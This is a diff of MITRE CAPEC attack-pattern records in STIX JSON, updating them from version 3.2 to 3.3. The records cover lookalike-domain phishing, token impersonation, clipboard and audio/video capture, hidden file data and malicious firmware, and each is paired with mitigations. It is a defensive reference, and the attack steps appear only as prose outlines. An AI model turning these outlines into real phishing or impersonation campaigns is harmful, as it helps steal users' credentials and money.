"identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c6e23539-a2eb-4b8f-a47e-aac60fb3f876", "source_ref": "course-of-action--86dea14b-a9d1-461f-a1e0-ff289490c27e", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--f6b510bd-d7a8-4d02-aef8-cdfb98c31f65", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f6b510bd-d7a8-4d02-aef8-cdfb98c31f65", "source_ref": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf", "name": "TypoSquatting", "description": "An adversary registers a domain name with at least one character different than a trusted domain. A TypoSquatting attack takes advantage of instances where a user mistypes a URL (e.g. www.goggle.com) or not does visually verify a URL before clicking on it (e.g. phishing attack). As a result, the user is directed to an adversary-controlled destination. TypoSquatting does not require an attack against the trusted domain or complicated reverse engineering.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38867,25 +42535,27 @@ "x_capec_example_instances": [ "\n An adversary sends an email, impersonating paypal.com, to a user stating that they have just received a money transfer and to click the given link to obtain their money.\n However, the link the in email is paypa1.com instead of paypal.com, which the user clicks without fully reading the link.\n The user is directed to the adversary's website, which appears as if it is the legitimate paypal.com login page.\n The user thinks they are logging into their account, but have actually just given their paypal credentials to the adversary. The adversary can now use the user's legitimate paypal credentials to log into the user's account and steal any money which may be in the account.\n TypoSquatting vulnerability allows an adversary to impersonate a trusted domain and trick a user into visiting the malicious website to steal user credentials.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.

    2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the TypoSquatted URL.

    2. Techniques
    Register the TypoSquatted domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the TypoSquatted domain.

    2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the TypoSquatted domain.
    Assume that a user will incorrectly type the legitimate URL, leading the user to the TypoSquatted domain.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--0098fae5-dbdf-44cd-a5c0-b5fc9efe3a56", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0098fae5-dbdf-44cd-a5c0-b5fc9efe3a56", "source_ref": "course-of-action--ba0348be-410d-4fe9-bf0e-bb5e48d5af8b", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf" }, { + "id": "course-of-action--57146b6f-bca0-47d6-9268-5475bdf66db1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -38894,23 +42564,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Purchase potential TypoSquatted domains and forward to legitimate domain.", - "type": "course-of-action", - "id": "course-of-action--57146b6f-bca0-47d6-9268-5475bdf66db1" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c2442a11-1be7-42c6-b9e8-d6e757681156", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c2442a11-1be7-42c6-b9e8-d6e757681156", "source_ref": "course-of-action--57146b6f-bca0-47d6-9268-5475bdf66db1", "relationship_type": "mitigates", "target_ref": "attack-pattern--b6f0fd7e-6068-4557-976c-fd34914b11bf" }, { + "id": "attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f", "name": "SoundSquatting", "description": "An adversary registers a domain name that sounds the same as a trusted domain, but has a different spelling. A SoundSquatting attack takes advantage of a user's confusion of the two words to direct Internet traffic to adversary-controlled destinations. SoundSquatting does not require an attack against the trusted domain or complicated reverse engineering.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38952,25 +42624,27 @@ "x_capec_example_instances": [ "\n An adversary sends an email, impersonating the popular banking website guaranteebanking.com, to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.\n However, the link the in email is guarantybanking.com instead of guaranteebanking.com, which the user clicks without fully reading the link.\n The user is directed to the adversary's website, which appears as if it is the legitimate guaranteebanking.com login page.\n The user thinks they are logging into their account, but have actually just given their guaranteebanking.com credentials to the adversary. The adversary can now use the user's legitimate guaranteebanking.com credentials to log into the user's account and steal any money which may be in the account.See also: SoundSquatting vulnerability allows an adversary to impersonate a trusted domain and leverages a user's confusion between the meaning of two words which are pronounced the same into visiting the malicious website to steal user credentials." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted, receives a consistent amount of traffic, and is a homophone.

    2. Techniques
    Research popular or high traffic websites which are also homophones.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the SoundSquatted URL.

    2. Techniques
    Register the SoundSquatted domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the SoundSquatted domain.

    2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the user to click on a link leading the user to the SoundSquatted domain.
    Assume that a user will unintentionally use the homophone in the URL, leading the user to the SoundSquatted domain.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--73bbe3cf-9d46-458f-b272-44e8c8bdbfdd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--73bbe3cf-9d46-458f-b272-44e8c8bdbfdd", "source_ref": "course-of-action--ba0348be-410d-4fe9-bf0e-bb5e48d5af8b", "relationship_type": "mitigates", "target_ref": "attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f" }, { + "id": "course-of-action--4e3cac99-a7ec-420d-935d-3db74d0bb10a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -38979,23 +42653,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Purchase potential SoundSquatted domains and forward to legitimate domain.", - "type": "course-of-action", - "id": "course-of-action--4e3cac99-a7ec-420d-935d-3db74d0bb10a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a91eb59a-9010-4d4f-baca-16b413704ed6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a91eb59a-9010-4d4f-baca-16b413704ed6", "source_ref": "course-of-action--4e3cac99-a7ec-420d-935d-3db74d0bb10a", "relationship_type": "mitigates", "target_ref": "attack-pattern--a2cad567-3a04-4ef3-8b62-25924c93b53f" }, { + "id": "attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501", "name": "Homograph Attack via Homoglyphs", "description": "An adversary registers a domain name containing a homoglyph, leading the registered domain to appear the same as a trusted domain. A homograph attack leverages the fact that different characters among various character sets look the same to the user. Homograph attacks must generally be combined with other attacks, such as phishing attacks, in order to direct Internet traffic to the adversary-controlled destinations.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39031,25 +42707,27 @@ "x_capec_example_instances": [ "\n An adversary sends an email, impersonating bankofamerica.com to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.\n However, the link the in email is bankofamerica.com, where the 'a' and 'e' characters are Cyrillic and not ASCII, instead of bankofamerica.com (all ASCII), which the user clicks after carefully reading the URL, making sure that typosquatting and soundsquatting attacks are not being leveraged against them.\n The user is directed to the adversary's website, which appears as if it is the legitimate bankofamerica.com login page.\n The user thinks they are logging into their account, but have actually just given their bankofamerica.com credentials to the adversary. The adversary can now use the user's legitimate bankofamerica.com credentials to log into the user's account and steal any money which may be in the account.\n Homograph vulnerability allows an adversary to impersonate a trusted domain by leveraging homoglyphs and tricking a user into visiting the malicious website to steal user credentials.See also: CVE-2012-0584 CVE-2009-0652 CVE-2005-0233 CVE-2005-0234 CVE-2005-0235 CVE-2005-0236 CVE-2005-0237 CVE-2005-0238" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.

    2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the URL containing the homoglpyh character(s).

    2. Techniques
    Register the Homograph domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the Homograph domain.

    2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the to click on a link leading the user to the malicious domain.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--cc79c713-e3ec-414c-8426-5e3cdf4a0f13", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cc79c713-e3ec-414c-8426-5e3cdf4a0f13", "source_ref": "course-of-action--ba0348be-410d-4fe9-bf0e-bb5e48d5af8b", "relationship_type": "mitigates", "target_ref": "attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501" }, { + "id": "course-of-action--676ce84f-78c4-40f9-96e2-d65ddbfb6b69", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -39058,23 +42736,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Utilize browsers that can warn users if URLs contain characters from different character sets.", - "type": "course-of-action", - "id": "course-of-action--676ce84f-78c4-40f9-96e2-d65ddbfb6b69" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ffcda0d4-63d6-4980-9ad1-5627a39ccb6e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ffcda0d4-63d6-4980-9ad1-5627a39ccb6e", "source_ref": "course-of-action--676ce84f-78c4-40f9-96e2-d65ddbfb6b69", "relationship_type": "mitigates", "target_ref": "attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501" }, { + "id": "attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e", "name": "Token Impersonation", "description": "An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39082,7 +42762,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-04-12T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -39093,6 +42773,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/287.html", "external_id": "CWE-287" + }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Token Impersonation/Theft", + "url": "https://attack.mitre.org/wiki/Technique/T1134/001", + "external_id": "T1134.001" + }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Make and Impersonate Token", + "url": "https://attack.mitre.org/wiki/Technique/T1134/003", + "external_id": "T1134.003" } ], "x_capec_typical_severity": "Medium", @@ -39108,11 +42800,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74", "name": "Probe Audio and Video Peripherals", "description": "The adversary exploits the target system's audio and video functionalities through malware or scheduled tasks. The goal is to capture sensitive information about the target for financial, personal, political, or other gains which is accomplished by collecting communication data between two parties via the use of peripheral devices (e.g. microphones and webcams) or applications with audio and video capabilities (e.g. Skype) on a system.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39120,7 +42812,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -39131,6 +42823,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/267.html", "external_id": "CWE-267" + }, + { + "source_name": "ATTACK", + "description": "Audio Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1123", + "external_id": "T1123" + }, + { + "source_name": "ATTACK", + "description": "Video Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1125", + "external_id": "T1125" } ], "x_capec_likelihood_of_attack": "Low", @@ -39151,61 +42855,65 @@ "An adversary can capture audio and video, and transmit the recordings to a C2 server or a similar capability." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-634-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Prevent unknown code from executing on a system through whitelisting policy.", + "description": "Prevent unknown code from executing on a system through the use of an allowlist policy.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--6710867b-4f6a-4749-9f13-9d9ae4b1e18f" + "id": "course-of-action--d2376771-bf07-4a50-828d-05fdda76a87f" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4aec65b7-a4af-4687-95c1-788f284dfd6c", - "source_ref": "course-of-action--6710867b-4f6a-4749-9f13-9d9ae4b1e18f", + "id": "relationship--cbf046fa-0379-4600-9440-4e02b4dba1f4", + "source_ref": "course-of-action--d2376771-bf07-4a50-828d-05fdda76a87f", "relationship_type": "mitigates", "target_ref": "attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74" }, { + "id": "course-of-action--0dfabd41-428e-43f9-93f8-078e6987d31c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-634-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Patch installed applications as soon as new updates become available.", - "type": "course-of-action", - "id": "course-of-action--0dfabd41-428e-43f9-93f8-078e6987d31c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4780d621-4627-424b-903c-3f4d714d86a1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4780d621-4627-424b-903c-3f4d714d86a1", "source_ref": "course-of-action--0dfabd41-428e-43f9-93f8-078e6987d31c", "relationship_type": "mitigates", "target_ref": "attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74" }, { + "id": "attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022", "name": "Alternative Execution Due to Deceptive Filenames", "description": "The extension of a file name is often used in various contexts to determine the application that is used to open and use it. If an attacker can cause an alternative application to be used, it may be able to execute malicious code, cause a denial of service or expose sensitive information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39232,11 +42940,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0ef2d26f-fc33-4b45-8b2f-ea08dd776b12", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", "modified": "2018-05-31T00:00:00.000Z", @@ -39245,23 +42953,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Applications should insure that the content of the file is consistent with format it is expecting, and not depend solely on the file extension.", - "type": "course-of-action", - "id": "course-of-action--0ef2d26f-fc33-4b45-8b2f-ea08dd776b12" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d2c9b192-26b4-46a5-a6c9-aca496c5e896", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", "modified": "2018-05-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d2c9b192-26b4-46a5-a6c9-aca496c5e896", "source_ref": "course-of-action--0ef2d26f-fc33-4b45-8b2f-ea08dd776b12", "relationship_type": "mitigates", "target_ref": "attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022" }, { + "id": "attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932", "name": "Hiding Malicious Data or Code within Files", "description": "Files on various operating systems can have a complex format which allows for the storage of other data, in addition to its contents. Often this is metadata about the file, such as a cached thumbnail for an image file. Unless utilities are invoked in a particular way, this data is not visible during the normal use of the file. It is possible for an attacker to store malicious data or code using these facilities, which would be difficult to discover.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39269,13 +42979,31 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/636.html", "external_id": "CAPEC-636" }, + { + "source_name": "ATTACK", + "description": "Obfuscated Files or Information:Steganography", + "url": "https://attack.mitre.org/wiki/Technique/T1027/003", + "external_id": "T1027.003" + }, + { + "source_name": "ATTACK", + "description": "Signed Binary Proxy Execution:Compiled HTML File", + "url": "https://attack.mitre.org/wiki/Technique/T1218/001", + "external_id": "T1218.001" + }, + { + "source_name": "ATTACK", + "description": "XSL Script Processing", + "url": "https://attack.mitre.org/wiki/Technique/T1220", + "external_id": "T1220" + }, { "source_name": "reference_from_CAPEC", "description": "Means, Ryan L., Alternate Data Streams: Out of the Shadows and into the Light, SANS Institute", @@ -39289,44 +43017,46 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--9a689051-a57a-41f3-a56f-4caedb91d329", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-636-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Many tools are available to search for the hidden data. Scan regularly for such data using one of these tools.", - "type": "course-of-action", - "id": "course-of-action--9a689051-a57a-41f3-a56f-4caedb91d329" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--07ae02b7-e3da-4e3d-bf8f-ed031fdf8696", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--07ae02b7-e3da-4e3d-bf8f-ed031fdf8696", "source_ref": "course-of-action--9a689051-a57a-41f3-a56f-4caedb91d329", "relationship_type": "mitigates", "target_ref": "attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932" }, { + "id": "attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597", "name": "Collect Data from Clipboard", - "description": "The adversary exploits an application that allows for the copying of sensitive data or information by collecting information copied to the clipboard. Data copied to the clipboard can be accessed by other applications, such as malware built to exfiltrate or log clipboard contents on a periodic basis. In this way, the adversary aims to garner information to which he is unauthorized.", + "description": "The adversary exploits an application that allows for the copying of sensitive data or information by collecting information copied to the clipboard. Data copied to the clipboard can be accessed by other applications, such as malware built to exfiltrate or log clipboard contents on a periodic basis. In this way, the adversary aims to garner information to which they are unauthorized.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -39337,6 +43067,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/267.html", "external_id": "CWE-267" + }, + { + "source_name": "ATTACK", + "description": "Clipboard Data", + "url": "https://attack.mitre.org/wiki/Technique/T1115", + "external_id": "T1115" } ], "x_capec_likelihood_of_attack": "Low", @@ -39354,31 +43090,32 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--59dd4ce4-6777-41cd-ae1f-56718a9b85a1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-637-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "While copying and pasting of data with the clipboard is a legitimate and practical function, certain situations and context may require the disabling of this feature. Just as certain applications disable screenshot capability, applications that handle highly sensitive information should consider disabling copy and paste functionality.", - "type": "course-of-action", - "id": "course-of-action--59dd4ce4-6777-41cd-ae1f-56718a9b85a1" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ca571029-201a-4dbc-aaa9-e3179a745f60", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ca571029-201a-4dbc-aaa9-e3179a745f60", "source_ref": "course-of-action--59dd4ce4-6777-41cd-ae1f-56718a9b85a1", "relationship_type": "mitigates", "target_ref": "attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597" @@ -39386,29 +43123,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-637-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Employ a robust identification and audit/blocking via whitelisting of applications on your system. Malware may contain the functionality associated with this attack pattern.", + "description": "Employ a robust identification and audit/blocking via using an allowlist of applications on your system. Malware may contain the functionality associated with this attack pattern.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--c533ed18-9386-43a8-a2e6-12896647c2b3" + "id": "course-of-action--2d0dcdc8-f803-406a-8cd3-f6e1207c9ed7" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3e0e9526-c7dc-4ff9-9cf8-72bc1ee1be63", - "source_ref": "course-of-action--c533ed18-9386-43a8-a2e6-12896647c2b3", + "id": "relationship--19f949ab-5e38-4bef-be5d-dcdcfbc6b2eb", + "source_ref": "course-of-action--2d0dcdc8-f803-406a-8cd3-f6e1207c9ed7", "relationship_type": "mitigates", "target_ref": "attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597" }, { + "id": "attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4", "name": "Altered Component Firmware", "description": "An adversary with access to download and update system software sends a maliciously altered BIOS to the victim or victim supplier/integrator, which when installed allows for future exploitation.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39416,12 +43156,18 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/638.html", "external_id": "CAPEC-638" + }, + { + "source_name": "ATTACK", + "description": "Pre-OS Boot:Component Firmware", + "url": "https://attack.mitre.org/wiki/Technique/T1542/002", + "external_id": "T1542.002" } ], "x_capec_likelihood_of_attack": "Low", @@ -39439,11 +43185,11 @@ "An attacker compromises the download and update portion of a manufacturer's web presence, and develops a malicious BIOS that in addition to the normal functionality will also at a specific time of day disable the remote access subsystem's security checks. The malicious BIOS is put in place on the manufacturer's website, the victim location is sent an official-looking email informing the victim of the availability of a new BIOS with bug fixes and enhanced performance capabilities to entice the victim to install the new BIOS quickly. The malicious BIOS is downloaded and installed on the victim's system, which allows for additional compromise by the attacker." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e", 